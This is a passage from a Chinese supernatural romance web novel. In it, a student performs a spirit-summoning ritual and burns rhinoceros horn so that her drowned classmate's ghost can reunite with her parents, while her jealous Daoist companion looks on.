傅清微正犹豫要不要告诉她,程玉汝一口气飘了十几米远,穆若水扭头看已经躲到柱子后面的程玉汝,心中哼了一声:算你识相。 傅清微看向正朝她走来的穆若水,以及眨眼不见影踪的程玉汝:“?” “你看到程同学去哪里了吗?” “她回家了。”穆若水面不改色。 躲在柱子后头的程玉汝冒头,回答道:“对!我这就回家了!” 傅清微只好对着她飞速逃窜的背影遥遥说了句:“注意安全——” 地铁站的工作人员闻声回头,对她频频对着空气说话,眸中均闪过复杂的情绪。 往后傅清微只会越来越多地习惯这种异样的目光。 傅清微和穆若水回到地面,程玉汝还没有走,而是蹲在围挡旁边的一块地上,在看些什么。 那块地是市政府圈起来专门为了市民哀悼遇难者而设的,经历了一周,早已献满了白色的花和手写的卡片。 傅清微早上来的时候也带了一束黄雏菊,放在最外围。 【愿天堂没有水灾,逝者安息。】 【我素未谋面的姐妹、兄弟,遇难同胞一路走好!】 【程同学,给你带了最喜欢的话梅糖,愿你……】 她们俩走过来的时候,程玉汝刚好站起来,手里拿着一袋开了口的话梅糖晃了晃,冲傅清微弯起眼睛:“谢谢你的话梅糖,很好吃。” 对着满地铁口的悼念,傅清微心酸得实在说不出什么,向她点了点头:“你喜欢就好。” 程玉汝把话梅糖揣进兜里,仰起脸看向快要升起的朝阳,映在她分外年轻的脸上,发出了长长的一声感叹。 “好舍不得这个人间啊。” 程玉汝咬了一口嘴里的话梅糖,慢慢地走远了。 傅清微在她背后简直泪水开了闸,穆若水有先见之明拿了一包纸巾,帮她擦眼泪。傅清微不需要擦眼泪,只需要一个怀抱,于是她伸手过来的时候,穆若水把她抱进了怀里。 第一万次感慨,她怀里的女生是水做的,取之不尽流之不竭。 傅清微哭够了,因为脸埋得太深,把眼泪都哭到穆若水脖子里,湿了里衣。 “欠我两件衣服了。” “我记着呢。” “记性这么好,程玉汝最喜欢吃话梅糖也是你记着的?”穆若水向她发送了一枚天外飞醋。 “不是,我这两天问她妈爸知道的。” “哦。”醋来了又走了。 傅清微一无所觉。 她凑近就着穆若水捏着的纸巾擦了擦眼睛,说:“走吧,去程家。” “去程家干吗?” 穆若水以为事情就这样结束了,之后投胎转世都是灵管局的事,与她一个小小实习生无干。但傅清微显然不是这么想的,而且到现在才准备告诉她。 仿佛知道她会不同意似的。 “去了就知道了,去嘛去嘛。” 来到程家大门口,老两口把傅清微迎进去,看向她的目光卑微又尊敬,期盼又祈求,犹如看向实现凡人夙愿的神明。 穆若水一见,就知又有幺蛾子,马上危险地盯住把她糊弄过来的傅清微。 傅清微:“我想让程玉汝和她的妈妈爸爸见一面。” 穆若水扭头就走。 傅清微抢先一步拦住她。 穆若水不忍伤她,只能停下脚步,嘴上却不饶她:“你以为你是谁,救世主吗?” 傅清微苦涩一笑。 她要是救世主就不会发生这一切。 “我只是想帮一帮程同学和她的家人。” “这一个你要帮,那下一个呢?那么多枉死的生灵,你帮得过来吗?!” “我看到了这一个,我就帮这一个。我救得了谁,我就去救谁,事实上我谁也救不了,我只想做现在力所能及的事。”傅清微以为自己又要哭,可是她没有,是,她软弱无用,连自己的性命都需要人保护,但她也有能做的事,能让世间少一桩遗憾。 她没有立场要求道长为她做更多,所以她求的并不是这个。 傅清微说:“我没有一定要让你出手,只是想知道有什么办法可以做到。” “说了也没用。” “不说怎么知道没用?” 傅清微出乎意料的冷静。 穆若水在程家沙发上坐了下来,三个人一只鬼都围在旁边嗷嗷待哺,穆若水冷冷地扫了一眼,二人一鬼远远地跑开,身边只剩下一个人。 傅清微坐在她身边,洗耳恭听。 穆若水低头整了整自己的衣摆:“第一,招魂降灵。需要有正经师承的玄门弟子设坛作法,请阴神相助,让阴灵也就是你的同学在人前显形。这是最容易的方法,但对你来说不可能。你一无师承,二无修为,三不通道法,可以说是毫无作用。” 傅清微默默记下,并不气馁,问道:“第二呢?” 穆若水对着她久了,神色不知不觉变得柔和。 “听过燃犀吗?” 傅清微摇头。 程玉汝在灵异小说里看过,但她躲在餐桌底下根本不敢开口。 穆若水都惊讶于自己的耐性,甚至有心情给傅清微讲故事,但她认真听讲的样子很乖,眼睛里只看着她,讲就讲了。 “*《异苑》里记载了一桩典故,说有个叫作温峤的人,坐船到了牛渚矶,水底深不可测。当地有人传言说水下有海怪,温峤遂‘燃犀角而照之’。果然见到水里很多从未见过之怪物,车马华服,一派繁盛。当天晚上,有人向他托梦说:‘与君幽明道阁,何意相照耶?’没过多久,温峤就死了。” 那水底的怪物确实是怪物,只不过是阴间的生灵,才会着红衣乘马车,络绎不绝,鼎盛繁华。温峤燃犀照亮了阴间的路,越过阴阳界限,最终落得下场凄惨。 这么一说傅清微好像模模糊糊有了些印象,应该是甘棠无意念叨过。 傅清微面上浮现淡淡喜色,问:“好,我们现在知道燃犀可以通阴阳了,那犀角去哪里找?” 穆若水冲她微微一笑,还眨了眨眼,说:“是啊,你去哪里找呢?”谁和她是“我们”? 傅清微:“……” 犀角太过珍贵,现在还是濒危保护动物,要安全合法地得到,一时间恐怕来不及。明天灵管局约好的阴差就要来勾魂了。 “有没有第三种办法?” “有。” “是什么?” 穆若水顿了顿,“返魂香。” “去哪里找?” “也就比犀牛角珍贵一万倍吧。” “……” 看着傅清微终于露出灰心挫败的样子,穆若水掸了掸衣服,施施然起身道:“死了这条心吧,你什么也做不了,跟我回家。” 程玉汝还好,只是不出意外地叹了口气。 程家老两口从屋内走廊扑过来,咚的一声双膝砸地,跪在了傅清微面前。 程玉汝焦急地过来扶他们:“妈,爸!” 一面向傅清微和穆若水道歉:“对不起,他们俩只是没别的办法了,无法显形也没关系的,明天我会跟阴差走。求您千万不要怪罪他们。” 她也跪了下来,冲穆若水磕头。 傅清微直觉程家人对观主的态度有异,似乎过于害怕了,但此时她来不及多想,缩手避开穆若水来捉她的手腕。 她反而退后一步,说:“还有第四种方法。” 穆若水玩味道:“什么方法?” “让程玉汝上我的身,用我的身体和程妈妈程爸爸见面。”这就是傅清微早就想好的最后一条路,她既然答应了老两口,就一定会做到。 这句话一说出来,整个空气都凝固了。 穆若水:“你再说一次。” 傅清微不避不让,直面她深不见底的黑眸,说:“让程玉汝上我的身,和她的家人见面。” 穆若水眯起了眼。 空气中看不见的能量场在坍缩,已经变成鬼的程玉汝最先感觉到恐怖的气息,仿佛五岳都压在她单薄的背脊上,她跪在地上喘不过气,头深深地贴在瓷砖地面,因为畏惧而浑身发抖。 “请您……息……怒……” “你找死!” 穆若水眼睛看着傅清微,手却长了眼睛一般伸向地上的程玉汝。她今日定要将这小鬼碎尸万段! 傅清微见过她出手,水鬼吭都没吭一声就死了,毫不怀疑她一招下去程玉汝会当场魂飞魄散,她不知道哪里来的力气撞开了穆若水的手,连人扑进沙发里,牢牢按住她的两只手:“是我要让她上身的……” 穆若水骤然喝道:“你还说!” 傅清微吓了一跳,本能换了个词:“我出的馊主意,你不要迁怒别人。” 穆若水阴着脸:“我不忍杀你,还不能杀了她们吗?放开!” 杀三个?这还了得?岂不是视法治为无物? 傅清微全身都压在她身上,把她的视线全都挡住了。 地上的二人一鬼迅速爬走。 傅清微抚着她的胸口给她顺气,穆若水把她的手挥开。 傅清微只好跨坐在她腰上,确保她不会暴起伤人,伤人之前得先把她掀下去,同时握住她的两只手交叉压在头顶。 穆若水慢慢地撩起眼帘。 嗯?好像有点不对劲?傅清微讪讪地把她的两只手放下来,但还握在手中。 没办法,她唯一的底牌就是她自己,别的拦不住观主。 “你脾气不要这么急,我没说一定要让她……”傅清微接触到穆若水要杀人的眼神,及时把那个“上”字咽了回去,太吓人了,心跳都跟着后怕地跳快了两拍,“一定要选第四种方法。” 穆若水目光冰冷。 要是她不阻止,她现在就实施了吧。 穆若水阴戾地吐字:“你休想!” 傅清微:“我不想了,再也不敢想了!” 如果上身的代价是程玉汝魂飞魄散的话,那还不如不上身呢,况且上身之前她就要死,自己图什么? 傅清微再次对观主的脾气有了新的了解。 但为什么她那么生气别人上自己的身呢?是鬼又不是人,而且是上身不是上啊!区别大了去了。 可能在她心中没区别吧?那她也没上自己啊。 傅清微想不通,但目前不重要,观主不让她碰胸口,她就轻轻拍了拍观主的肩,哄道:“不生气了,不生气了啊。” 她还坐在穆若水的腰上,穆若水抬手往上按了按她后腰,腰眼一软,傅清微不防直接往前一扑,整个人伏在她身上,因为她坐着,比穆若水的位置高,所以她扑过去以后,低头只看到穆若水的脑袋埋在她胸前。 傅清微穿了一件大衣,扣得严严实实,穆若水闻不到她的气息,嫌碍事一颗颗解了。 傅清微:“哎?” 大衣里是纽扣的衬衣,幸好不是毛衣,否则现在它就会像切豆腐一样碎掉。 穆若水的指尖灵活地解着她雾霾蓝衬衣的纽扣,一直开到胸口,毫无阻碍,将脸深深地埋进了柔白起伏的凹处。 傅清微呼吸都有点不顺畅了,她抱着观主的脑袋,顺着她背后流水一般的乌瀑长发。 有一刻她侧过脸,和走廊悄悄探出脑袋的程玉汝四目相对。 程玉汝下意识双臂举过头顶,向她比了个大大的爱心。 傅清微:“……” 第47章 在傅清微挡住穆若水那尊杀神后, 地上的二人一鬼迅速爬走,回房间躲起来。 外面许久没有传来动静,程玉汝总不能让两位老人去查看情况, 于是自告奋勇率先从门里流了出来。 虽然二老根本看不到她。 从程玉汝侧对的角度, 穆若水将脸埋进傅同学的胸口, 衣服都解开大半,脑袋不断起伏。 而傅清微为了更好地喂她, 不仅跪在沙发里扶着她的脑袋, 还仰起脸,因受不了这种快感而大口的呼吸。 ——其实傅清微是因为被观主埋得太深, 呼吸不畅。 但确实在喘。 程玉汝看了一眼就立刻双手紧紧捂住自己的嘴, 生怕发出没见过世面的尖叫。 她是真没见过世面,连片都没看过,陡然面对现场直播, 她她她她……那就再看亿眼。 傅清微若有所感地侧头, 刚好和走廊大大地捂着眼缝偷看的程玉汝四目相对。 程玉汝呆了呆,想也不想两条手臂举过头顶,冲她比了个大大的爱心, 还露出八卦的笑容。 至死都是清澈愚蠢的大学生。 傅清微:“……” 社死已在其次,她闭了闭眼,冲不知死活的鬼同学做了个口型:快走。 程玉汝果断流了回去,躲进屋子里。 确认没有人盯着以后, 傅清微才轻轻地嗯了一声,缠住穆若水发丝的右手往后带了带, 低声抽气说:“别舔了。” 穆若水收回湿润的舌尖, 张开口齿。 傅清微又未卜先知地提醒道:“更不要咬。” 傅清微在说出这句话之前自己也不知道管不管用,但牙齿轻轻一碰到柔嫩白皙的皮肤, 确实收了回去。 有时候她觉得观主身上有一种兽性,不是傲娇的猫,是猛兽的雏态期,未经驯化,行事全凭本能。她动不动沸腾的杀念是,如今在她的皮肤一寸寸地试探也是。 她想吃掉自己,字面意义上的,不带旖旎。 但对她而言,这份食物太珍贵了,于是她小心对待,偶尔给她越级的特权,要她长久地陪伴自己。 穆若水的指尖无师自通地摸到她背后内衣的金属扣。 她今天想多吃一些。 穆若水咽了咽口水。 几乎在同时,傅清微脱口制止道:“不行!”这绝对不行!光天化日,怎能如此白日宣淫?! 穆若水的手停了下来,但没有离开,傅清微主动退开了身体,连带着获得了呼吸自由。 下一秒她的脸便红了起来。 女人的脸因为长久埋在高耸的地方变得汗湿红润不说,她墨色长发凌乱,贴在脸上,倒像是自己逼迫她做了什么。 傅清微心跳扑通,低头扣好纽扣。 从衬衣到大衣,一寸寸掩去静美春光。 穆若水坐在沙发里,整理自己弄乱的衣领和长发,舔了舔鲜红的唇,眉目带着餮足后的慵懒,没有比事后更合适的形容词去描述她。 傅清微:“……” 明明也没做什么啊!她怎么有那么浓烈的事后气质! 真想找个镜子照照自己。 程家的镜子在洗手间里,傅清微再热爱记录生活也不至于在别人家拍照,现在还是程玉汝的命比较重要。 傅清微坐到女人身边,看着已经冷静下来甚至姿态放松的观主试探道:“我还是想试试,可以吗?保证不用第四种方法。” 女人静静地看了她许久,终于松了口,问:“你想怎么试?” 有戏! 傅清微眼睛一亮,启动PlanB,说:“我想问问占科。” 这两个计划是连在一起的,先A后B。她先问穆若水是因为最信任她,而且她本事高,给的方法肯定更全面,实践方面她再去请教占科长,更贴合她自身的情况。 如果在穆若水这环就能够解决是最好了,不必麻烦外人。 只是没想到观主会突然发这么大脾气,还逼得她在众目睽睽下献身。上身这招不到万不得已,还是从计划表里暂时划去,除非无计可施。 穆若水又等了很长时间,才掀了掀眼帘,说:“问吧。” 傅清微如蒙大赦,笑容海水洗过的清亮:“好!” 准不准的她都会去问,穆若水又不是不清楚,兔子急了还咬人呢。把她逼急了自己又哄不好,每回都是她自己哄好自己的。 傅清微把程家三口叫出来,自己去阳台打电话。 穆若水目中无人惯了,二人一鬼碍不到她眼睛,现在她情绪稳定,一门心思放在昨晚傅清微给她剪的指甲上,反复欣赏。 傅清微拨通了占英的电话,她事先提过今天可能会找她,占英被师父勒令养伤,不得处理公务,正闲得发毛,立刻接了起来。 “喂,傅同学,有事吗有事吗?”占英就像终于见到油腥的猫。 “有。”傅清微面朝着客厅的方向,视线刚好能看到穆若水的范围,说,“我想让一个阴魂在人间显形,就是我提过的暴雨受害者,我那位同学。观主对我说了四种方法,想请你帮我参谋一下。” “好啊好啊,你说。”占英心想:居然有这么多法子吗? “第一种是招魂降灵。由玄门弟子开坛做法,但观主说我没有师承,不通道法,用不了。她说的没有错,但我还是想都试一下,这个法子算门派机密吗?” “不算,我教你就是,局里很多人都会。” 占英比预料的还好说话。 傅清微一喜,完全没想到占英教她还有另一层:她可没忘记要给阁皂宗寻些好苗子,振兴山门。 占英这就开讲了,傅清微开了通话录音,记下所有必备用品,还有口诀。 傅清微:“占科,请问灵管局有没有犀牛角?” 占英:“当然有了。” 堂堂灵管局,历史悠久,奇珍异宝,库存之丰,犀牛角都算不上珍品。 “你需要犀牛角吗?燃犀照你同学?”显然占英也知道犀角的作用。 “是。”接二连三的喜悦冲击着傅清微的大脑,她说,“我可以购买吗?正好实习工资还没发,可以直接从工资扣。” “咦?都过去一个多月了,你怎么还没发工资?待会我帮你问问财务。” “谢谢占科。”傅清微喜形于色,讨薪也在计划之内。 “没事儿。”占英回答了她上一个问题,“犀角可以买啊,这也是我们员工福利之一,不过你的权限不够,正好我可以,我帮你买点,你需要多少?” “我同学明天一早就要跟阴差走了。” “成,那就按照一晚的量吧。” “多少钱?” “没多少,你记我一个人情就行。”占英说。犀角再贵,能贵得过真人记她个好?或者换傅清微愿意拜入阁皂宗,都是一本万利的生意,师父知道都要夸她。 “人情要记,钱也要给。”傅清微坚持道。 “好好好,回头我把账单和犀角一起给你。” “能尽快吗?我今天就要。” “明白,待会有专人跑腿给你送上门,地址发我。” “谢谢占科。”傅清微感激得不知说什么好,几次三番道谢。认识占英,一定是她这辈子排前三幸运的事。 “不用谢,都是朋友,再不济也是同事,在灵管局互相帮忙的地方多着呢,我也是给自己结善缘。” “嗯。”傅清微也不扭捏,把她的恩情都记在心里,问她,“局里有返魂香吗?” “什么是返魂香?” 她不知道? “观主提到的,我也不知道是什么,没有就算了,犀角就够了。” “没事我也想知道,晚点我师父来探望我的时候,我问问她。她一般晚上过来,第二天天亮才走。” 电话里的气氛陡然微妙起来。 其实傅清微也没问她关于岁主任什么时候去探望她,更没问待多久。 “咳,占科,我还有最后一个问题。就是以我的体质……”傅清微望向不远处的穆若水,声音低了低,侧对着她也不让她看清自己的口型,问道,“如果我自愿让我同学上身的话,会不会对我的身体有很大影响?” “按理来说不会,就算她最后不愿意走,也会被强制弹出来。我悄悄说一句,其实你的体质不全是坏处,就像邱老说的,非常适合通灵,不管是鬼神还是阴灵。汝之砒霜,他人之蜜糖,局里有些人求之不得呢。只要熟练掌握方法,以你的根骨,前途无量。” 占英后来问过她师父偃骨的事,是不是真的那么适合修道,有朝一日可以登仙。岁已寒说是,成不成仙的不好说,但修炼进度一日千里,阁皂宗有书面记载,开山祖师葛仙公便身怀偃骨。 玄门有一道法叫作请神,也是以符箓为媒介,神明降临到体内,即便只能发挥一二成神力,足以翻江倒海,崔天裂地,取决于身体和神魂的契合度,体质越阴,越适合请神。 当然这都是理论上,实际能修炼到什么程度,全凭个人。 但有一个很好的正面例子,就是邱老。 虽然巫术与道法不尽相同,但在请神上异曲同工,邱老请神有通天彻地之能,世人无出其右,这才奠定了顾问的地位。 一番话说得傅清微心驰神荡,可她记得观主要她谨记不可好高骛远,更…… 她这前途恐怕还没光明就暗淡了,观主不许人上她,做梦也不行,不许鬼上身,同学也别想,难道神就例外了? 占英不遗余力地卖安利:“我们阁皂宗恰好就掌握请神的符箓,要不要带你参观一下?我叫个师侄去接你。” “日后再说吧。”傅清微说完心念一动,改口道,“我先处理好同学的事,过两天去医院,到时候说。” “好,地址给我,我给你寄生犀角。” 傅清微这通电话打了将近半小时,等她挂断电话进门,程玉汝正跪在地上。 傅清微:“?” 她去扶起程玉汝,问道:“这是怎么了?” 程玉汝欲哭无泪,不敢怒也不敢言。 “没什么,站久了腿软,跪会儿舒服多了。” “……” 不用说,肯定和观主有关。 其实也不太关穆若水的事,至少她没下令。 傅清微在阳台和别人打电话,随着时间的推移,观主的心情越来越不好,她的手在空气中捏了一下,看不见的能量场在她手下像块橡皮泥,被搓圆揉扁,在坍缩边缘。 程玉汝扑通就跪下了。 你们小两口吃醋,关她什么事呀?受伤的只有她一只鬼。 傅清微让程玉汝离远点,问神色如常的穆观主:“道长,能不能教我开坛做法的步骤和口诀?我想试一试。” 穆若水张口,果然吐出一句:“不能。” 教她吐纳已是极限,有自保之能,再想学更多,除非她拜师,不巧,穆若水不想收徒。 所以,她绝不会再教其他。 答案不出傅清微所料,她眉头微微一展,不放在心上,对程家老两口说:“我已经向朋友求购到了生犀角,晚点会送过来,今晚你们就可以相见了。” 老两口自然感恩戴德又要来跪她,被她及时拦住。 傅清微:“另外我会尝试开坛做法,可能没有效果,但请准许我试一下。” 万一呢?不起作用也有犀角备选。 老两口互视一眼,都没有意见,肯帮她们就已经很感激了,哪管得上用什么方法。 穆若水疑惑的目光看过来,一闪而过。 傅清微在微信向占英求教哪里能买到开坛的东西,占英大手一挥,叫的部门跑腿把生犀和一干物品都送过来了。 傅清微对着她发来的文字布设法坛,令旗、香炉、供品、鲜花,黑墨,就地取用的清水,程玉汝的照片摆在中央。 穆若水坐直了身子。 “你怎么……” “我问了别的人。”傅清微正将一张现成的符箓摆在桌上,只能看懂几个字,其中两个字是用朱砂写的显形,应该是针对性的符箓,她对着简图重新确认了一遍位置。 “……” 穆若水罕见地瞠目结舌。 没错,她忘了,她不教自会有别人教。 胸口长了偃骨的人,多的是人想教。 她现在杀了占英来得及吗?杀了小的还有老的,会道法的人那么多,她杀得过来吗? 除非她放出话,谁敢教她她杀了谁,但她根本不想和别人说话。 傅清微也会不理她的。 她知道她不喜欢她杀人,更不会愿意见到她杀自己认识的人。 穆若水如果真的要杀程玉汝,根本不会给傅清微反应的时间,还让她如愿以偿地拦下她?都是她自愿的。 她以为傅清微得了生犀就会到此为止,回到她的身边,然而事实却不是这样的。 她已经向她走远了一步,去追逐她想要的人生。 下午四点,傅清微第一次正式开坛。 没有师承,不通道法,仅仅根据占英给的一份图文教学,设立了法坛,两端插了红色的招魂令旗,堂呈供品,黄铜香炉前摆放的是程玉汝生前的照片。 傅清微脱了大衣,里面着一件雾霭蓝的衬衣,扣子扣到最上一颗,下摆整齐地贴在长裤上,目视照片,记下所请。 眉目乌黑,面容沉静,肃穆不可侵犯。 老两口远远地望着,紧紧握着彼此的手,小声议论,几十年前,他们也见过那位有本事的游方道士作法,熟悉的感觉涌上心头。 在傅清微伸手取香的时候,二人的声音沉匿下去,鸦雀无声。 傅清微伸手取了三支香,抬至眉前,虔诚地拜了三拜。 程玉汝的鬼魂就站在她面前。 傅清微向她点了点头,退后一步,两手持印,闭目肃然念道:“三清有灵,诸天在上,晚辈傅清微今以精诚拜请四方过路阴神,助程氏女玉汝就地显形。” 一遍没有反应,占英和她说过很正常,普通弟子念咒都要念好几遍,更别提她无门无派。 “三清有灵,诸天在上,晚辈傅清微今以精诚拜请四方过路阴神,助程氏女玉汝……” “三清有灵,诸天在上,晚辈傅清微今以精诚拜请四方过路阴神……” 安静的客厅里只有不断响起的模糊的诵念声,一遍又一遍,越来越快,越来越快。 精诚所至,金石为开。 穆若水是最先察觉到动静的,旗子动了一下。 程家老两口第二个注意到,不约而同地抱在了一起,眼含泪光。 傅清微闭着眼,咒语声停了下来。 风静止。 她看不到,但她感觉得到,有“人”站在了她身边。 这位阴神似乎平易近人,含着淡淡的笑意问她:“你所求何事?” 傅清微第一次请到阴神,紧张不已,心跳咚咚,又开始飞快念道:“三清有灵,诸天在上,晚辈傅清微今以精诚拜请四方过路阴神,助程氏女玉汝就地显形。” 她一口气念完,说:“我求这件事,请您助我。” “有趣,允了。” 傅清微想不通哪里有趣,但这位阴神显然不太古老,性格也挺开朗。 祂还留下了一句意味深长的话:“你也有求到我的一天啊。” 啊? 两人的对话全在意念里,连穆若水也看不到阴神的模样,更听不到她们说了什么。 “好了哦。” 傅清微脑海里最后响起的是这句话,阴神离开了。 “幺儿!”一声撕心裂肺的呼喊声响起在静谧的客厅,傅清微睁开眼,刚好看到程妈妈不顾一切朝法坛的方向扑了过来。 “妈——” 程玉汝也朝家人的方向奔了过去,她留给母亲最后的声音终于被听到了。 一家三口抱头痛哭,痛彻心扉的哭声跨越阴阳重聚。 傅清微在一边看着,湿着眼眶露出笑容。 居然真的被她请到了…… 一无师承,二无修行,三不通道法,样样都是必备,她一样都没有,为什么? 是偃骨?还是所谓的精诚? 一向自持的穆观主回不过神地坐在沙发里,在傅清微朝她望过来的时候,都意识不到自己做出的是什么表情。 “太好了,道长。”傅清微回头看看团聚的一家人,向她走了过来。 “是。”穆若水无意识地回她。 傅清微庆祝完,才对她说:“我成功了,道长。” “什么?” “我请到阴神了,祂就在我脑子里说话,祂还说……”傅清微不知道能不能说,暂时咽了回去,道,“祂挺开朗的,应该日子过得很幸福。” “嗯。” “道长,你怎么了?” “没什么。” “你不为我开心吗?” “我……”穆若水暂时还没理清自己的思绪,请神成功无疑大大增强了傅清微的自信心,离她想走的路又近了一步,但不是穆若水想要的。可她开心,穆若水见了也会不自觉唇角上扬。 所以应该是这个答案。 “开心。” “那就好,我怕你生我的气。”傅清微离她越来越近,下巴搁在她的肩头。 “为什么怕我生气?”穆若水一只手抱住她跪过来的腰,在她的耳边温柔问道。 “因为……”声音越来越轻,越来越含糊。 傅清微脑袋一歪,在她的肩头彻底昏睡过去。 在她昏过去的前一秒,她的耳廓轻轻擦过女人柔润的唇角。 第48章 女人的唇角还是很冷, 但终归是软的。 傅清微脑子刚明晰这么一个念头,便失去意识,头靠在她肩膀, 在女人怀里昏睡过去。 穆若水双手接住了她的身子, 体贴地托住她歪下去的脑袋, 傅清微倒下来的动作竟然没有发出丝毫声音,无比轻盈。 旁边的一家三口甚至没有察觉。 直到她们哭够了, 还没有抱够的穆若水指尖挑开傅清微额前柔软的发丝, 冰凉的声音和她温柔的动作截然相反。 “找个空房间。” “去我房间吧。”程玉汝连忙带路。 穆若水熟练地抱起傅清微,随她的脚步来到了程玉汝的卧室, 老两口每日打扫, 干净清新,窗前还有一束新鲜的花,绣着小蓝花的床铺整洁舒适。 程玉汝本想关心一下傅清微, 怕弄巧成拙, 她女朋友坐在床沿,眼里只看着她,还是不打扰她们了。 程玉汝出去后, 让她爸爸送了一杯水进来,来去无声息。 傅清微躺在床上呼吸均匀,似是熟睡,但比平日深重, 连唯一有血色的唇也淡去了颜色。 如果有人叫她,就会发现这时无论怎么叫也叫不醒。 穆若水抬指点在她眉心, 淡淡金光一闪。 傅清微的气息缓和下来, 朝女人所在的方向侧了侧头,彻底睡着了。 书桌镀满的金光变成了浅淡的银白, 越过花瓶,一寸寸推移到床前,床上的年轻女人睫毛动了动,睁开眼睛的时候涌入漫天星光。 房间里没开灯,明亮的月华笼罩在背对她的红衣身影。 “道长……” 没有回应。 傅清微掀被坐起来,脚踩进鞋子里时感受到了自己身体的虚弱,她撑着床沿站了起来,走到女人身后。 “你生我气了吗?” “你说呢?”穆若水没有回头看她,声音听不出情绪。 她离书桌太近,傅清微不好绕过去,干脆从后面抱住了她的腰,两条手臂扣在她身前。 穆若水慢慢低头看着腰间玉白的一双手,竟生出抬手覆上去的冲动。 请神的消耗太大,傅清微第一次不知道,现在才发现自己站都站不稳,整副重量都压在了女人身上,手自然也抱得紧紧的,脸贴在她后背。 穆若水:“……你是在用这种方式向我求和吗?” 啊? 傅清微心想:哪种?她还没开口呢。 穆若水鼻音哼了一声,但傅清微已经能从她不同的哼中分辨出,这是被取悦到的轻哼。 傅清微干脆愈发抱着她不放,反正道长香香软软的,抱起来舒服得很。 啊,还有催情香,算了不管了,幻觉就幻觉。 傅清微闭上了眼睛,一时分不清是不是更期待出现幻觉。 等了半天,没有。 好叭。 她就着这样的姿势和穆若水聊天:“我睡了多久?” “四个小时,程玉汝已经消失了。” “然后呢?” 穆若水满意于她没有立刻抽手去找人,回答道:“她的家人点燃了犀角,所以她又出现了。” 傅清微心想:我就知道。 还好她沉住了气,否则观主又要生气了。 侍奉观主守则第一条:不管发生什么事,都要把观主放在第一位。 “原来是这样。”傅清微贴得更近了,悄悄用脸蹭了蹭穆若水挺拔如竹的后背,穆若水正在此时转过来,她的脸出其不意埋进了道长的胸口,仍然保持着磨蹭的动作。 好……好香。 浓郁热烈的返魂香反复冲击着傅清微的大脑,她张了张嘴,没来得及开口,鼻腔便汹涌一阵热意。 她连忙退开,怕自己的血弄脏了观主的衣服,却又站立不稳眼看就要跌倒。 穆若水一手拉住她的胳膊助她稳固身形,侧身而立防止溅到血,就近拿起书桌的纸巾盒递给她:“擦一擦。” 傅清微尴尬地用纸巾堵住鼻下的鲜血,说:“对不起。” 穆若水淡道:“邪火入侵,虚不受补。” 傅清微动了动唇,一时分不清她是不是意有所指。 她面红耳赤,低低地嗯了一声。 返魂香本就至阴至烈,以傅清微现在虚弱得四处漏风的身体,异香侵袭带来的副作用是成倍的。只流鼻血已经不错了。要不是穆若水提前给她修补过,现在恐怕已经晕过去了。 穆若水提醒她:“别靠我太近。” 傅清微脱口道:“我不要。” 穆若水勾了勾唇,不知怎的整个人都柔软了,眼尾收出细长的弯弧:“听话。” 傅清微说:“我可以戴口罩。” 倒是个好方法。 穆若水说:“戴我的可以吗?” 她在程家那么多操作,早就被看到了脸,程玉汝更早就见过她的真容。现下也是没戴口罩的,刚好可以给傅清微用。 观主可没有什么牙刷和口罩不能和人共用的讲究,倒是傅清微有些不自在地垂了垂眼,没有拒绝。 穆若水从袖子里掏出口罩,傅清微伸手过来接,落了个空。 穆若水严肃道:“我忘记上面也有……香。” 这下间接接吻的心思也落空了。 傅清微嗯了一声,说:“我待会问程玉汝要一个吧。” 时间不早了她们也该回家了。 程家客厅的茶几正中摆着一个莲花白瓷香炉,占英送来的那一小块犀角在里面静静燃烧,缕缕白烟自香炉的孔洞溢出。 一种更霸道的香气完全盖过了燃犀的气味,是厨房扑面而来的水煮鱼沸腾,喷香的辣子裹着鱼香简直让人垂涎三尺。 连傅清微这种不太能吃辣的人都挪不动步子。 程玉汝从厨房走出来,正巧撞见的二人,盛情邀请道:“要不要留下来吃晚饭?我爸最拿手的水煮鱼,绝对大厨水平。” 程妈妈端了一碗调好味的海鲜蘸料,也热情地说:“傅同学,吃个便饭吧。” 有女儿在身边,她眼尾细细的皱纹都堆出幸福的味道,像大多数同学好客的家长。 傅清微忙说:“不了。” 这顿团圆饭想必她们都等很久了。 “程同学,你家有没有口罩,借我一个?” 程玉汝说有,指了茶几下面抽屉的位置,“你把它打开,就在最上面。” 阴阳有别,虽然燃犀可以照出她的身形,实质上仍是鬼,触碰不到阳间的事物。 那团圆饭……她还能吃上吗? 她扭头看向端上桌的饭菜,欲言又止。 程玉汝似乎看了出来,低声说:“我可以吃的,我吃过的菜会没有味道。” 傅清微听过这个说法,原来是真的,展颜一笑道:“那就好,你好好陪你家人,我们先走了。” 穆若水始终和傅清微待在一块,程玉汝没有找到单独说话的机会,不由无奈,“傅同学,你明天还来送我吗?” 傅清微:“要来的。” 有始有终。 离开程家的时候,一家三口都到门口送她,程爸爸还系着围裙,手里拿着锅铲,满屋子平凡的人间烟火。 程玉汝笑着挥手,说:“明天见。” 傅清微轻声:“明天见。” 大门将烟火气隔在门内,走时还听得见模模糊糊程爸爸招呼开饭的吆喝声。 傅清微脚步沉重地下楼。 穆若水有心哄她两句,但实在不是她强项,好在刚走完一层楼,傅清微就疲惫地出了半身汗。 “哎。”她叹了一口气。 穆若水回头看她,傅清微站在楼梯上自然地朝她张开手。 穆若水将她抱了起来,傅清微安心地把脸枕在她肩头,两手搂着女人的脖子。 楼梯间空无一人,只有下楼空旷的脚步声。 “道长,我是不是你唯一抱过的人?”无人静谧时,女大又开始暗暗享受暧昧。 “是。” “为什么不抱别人?” “因为你香。”穆若水停下来,配合这句话做了一个闻她颈项的动作。 观主这个人不屑说谎,所以每句话都有种扑面而来的直接质朴的冲击力。 她说香,那自己身上就一定很香,迷得她七荤八素那种。 可不是被自己的身体迷得神魂颠倒吗?现在动不动就扒她衣服。 今天扒到胸口,迟早连底裤都没有了。 今日份暧昧完成。 女大心满意足,话题到此为止,再想下去就到敏感部位了。倒是观主还纳闷了一会儿:怎么不继续问了?究竟想说什么? 下了楼,傅清微也走不了路,穆若水抱着她一直往小区外走。 八点半正是人多的时候,小区居民纷纷投来诧异的视线。 谁家大人还被抱在怀里啊,现在的小情侣啧啧。 傅清微好险摸了摸自己的口罩,心安理得没有下来。 穆若水放慢了脚步:“那你呢?” “我什么?” “我是不是唯一抱过你的人?” “是!”不管是不是,对观主都得回答是! “想都不想?” “想了也是你。” “哼。”又开心了,观主。 傅清微从大衣兜里掏手机,没拿到,一问在穆若水兜里,她这个姿势实难够到,只好从她身上下来。 